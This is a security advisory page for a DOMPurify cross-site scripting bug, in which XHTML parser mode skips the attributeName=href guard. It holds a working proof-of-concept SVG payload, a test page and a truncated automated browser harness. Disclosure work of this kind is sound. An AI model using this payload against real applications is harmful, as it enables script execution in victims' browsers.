---
id: "GHSA-c6gr-qvv4-5v3f"
kind: "vulnerability"
aliases: ["GHSA-c6gr-qvv4-5v3f"]
title: "DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml"
severity: "low"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "dompurify", "fixed": ["3.4.17"], "affected": "<= 3.4.16", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-79", "dompurify", "javascript", "npm", "package", "svg", "xhtml"]
not_affected_if: ["default-config", "managed-hosting", "no-animate-or-set-allowed", "no-xhtml-parser-mode", "text-html-mode"]
published_at: "2026-10-22T16:24:23+00:00"
first_seen_at: "2026-10-23T19:11:31+00:00"
updated_at: "2026-10-23T20:09:57+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-c6gr-qvv4-5v3f", "first_seen_at": "2026-10-23T19:11:31+00:00"}]
---

# DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml

DOMPurify's guard that removes SMIL attributeName values containing href is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml, so an allowed animate or set element can rewrite a link's href to a javascript: URL. An attacker who gets a payload past sanitization gets script execution in the app's origin when a user clicks the link.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:dompurify affected <= 3.4.16 fixed 3.4.17

## How to check

Search app code for PARSER_MEDIA_TYPE set to 'application/xhtml+xml' with DOMPurify, and check whether ALLOWED_TAGS or ADD_TAGS include animate or set together with attributeName in ALLOWED_ATTR or ADD_ATTR.
Check the installed version: npm ls dompurify.

## Fix

Upgrade dompurify to 3.4.17 or later (affected <= 3.4.16).
Until upgraded, stop allowing attributeName with animate/set in XHTML mode, or do not use XHTML parser mode for untrusted SVG.

## Timeline

- 2026-10-23T19:11:31+00:00 ghsa https://github.com/advisories/GHSA-c6gr-qvv4-5v3f

## From the sources

### Summary

DOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `<animate>` or `<set>` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `"attributename"` never matches and the guard does nothing.

An app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep `<animate attributeName="href" values="x;javascript:alert(1)">`. Clicking the parent link then runs the script.

This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.

### Details

In `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16):

```js
const lcName = transformCaseFunc(name);
...
if (lcName === "attributename" && stringMatch(value, "href")) {
  _removeAttribute(name, currentNode, attr);
  continue;
}
```

`transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs.

People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here.

The value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill="freeze"`, the last entry ends up as the effective href of the parent `<a>`.

In text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed.

This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.

### Proof of concept

Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.

Config:

```js
const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
```

`{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same.

Input:

```html
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>
```

Steps:

1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.

```html
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>
```

2. The logged output still contains `attributeName="href"` and `values="x;javascript:alert(1)"`.
3. `document.getElementById('q').href.animVal` returns `"javascript:alert(1)"`.
4. Click "click" and `alert(1)` runs.

As a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `""`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.

An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.

<details>
<summary>poc.sh</summary>

```bash
#!/usr/bin/env bash
# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.
#
# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml"
# config that allow-lists <animate> + attributeName, renders the output into
# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse
# event and reports whether alert() fired. Also runs the same allowlist in
# text/html mode as a control (DOMPurify strips attributeName there).
#
# usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)
#         DOMPURIFY_JS=/path/to/purify.js ./poc.sh
#         CHROME=/path/to/chrome ./poc.sh
# needs:  node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
# exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT

if [ -z "${DOMPURIFY_JS:-}" ]; then
  (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
  DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
  for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
           "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
           "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
    [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
  done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }

cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
  '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
  '<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
  const cfg = {
    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
  };
  if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';
  const clean = DOMPurify.sanitize(payload, cfg);
  document.getElementById('sink').innerHTML = clean;
  return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"
# Same test inside a real XHTML document (no HTML<->XHTML context flip):
# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
    -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
    -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"

cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
  `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', '

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
